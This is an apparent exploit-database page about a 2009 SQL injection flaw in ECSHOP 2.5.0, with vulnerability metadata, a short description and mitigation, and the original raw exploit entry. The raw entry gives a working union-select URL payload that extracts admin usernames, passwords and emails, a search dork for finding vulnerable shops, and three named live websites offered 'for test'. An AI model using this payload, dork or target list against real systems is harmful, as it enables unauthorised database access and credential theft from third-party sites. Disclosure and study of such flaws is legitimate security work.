ECSHOP 2.5.0 SQL Injection Vulnerability

vendor:

ECSHOP

by:

Securitylab.ir

8,8

CVSS

HIGH

SQL Injection

CWE

Product Name: ECSHOP

Affected Version From: 2.5.0

Affected Version To: 2.5.0

Patch Exists: YES

Related CWE: N/A

CPE: a:ecshop:ecshop:2.5.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

ECSHOP 2.5.0 SQL Injection Vulnerability

ECSHOP 2.5.0 is vulnerable to a SQL injection vulnerability. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. This can allow the attacker to gain access to the database and execute arbitrary SQL commands.

Mitigation:

Upgrade to the latest version of ECSHOP 2.5.0 or apply the patch provided by the vendor.

Source

Exploit-DB raw data:

######################### Securitylab.ir ########################
# Application Info:
# Name: ECSHOP
# Version: 2.5.0
# Website: http://www.ecshop.com
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Sql Injection
# Risk: High
# Dork: "Powered by ECShop v2.5.0"
#===========================================================
# http://site.com/user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*
#===========================================================
#################################################################
# For test:
# http://www.lobang99.com/store
# http://www.amteore.com
# http://www.vostart.com/web/eng
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-04-27]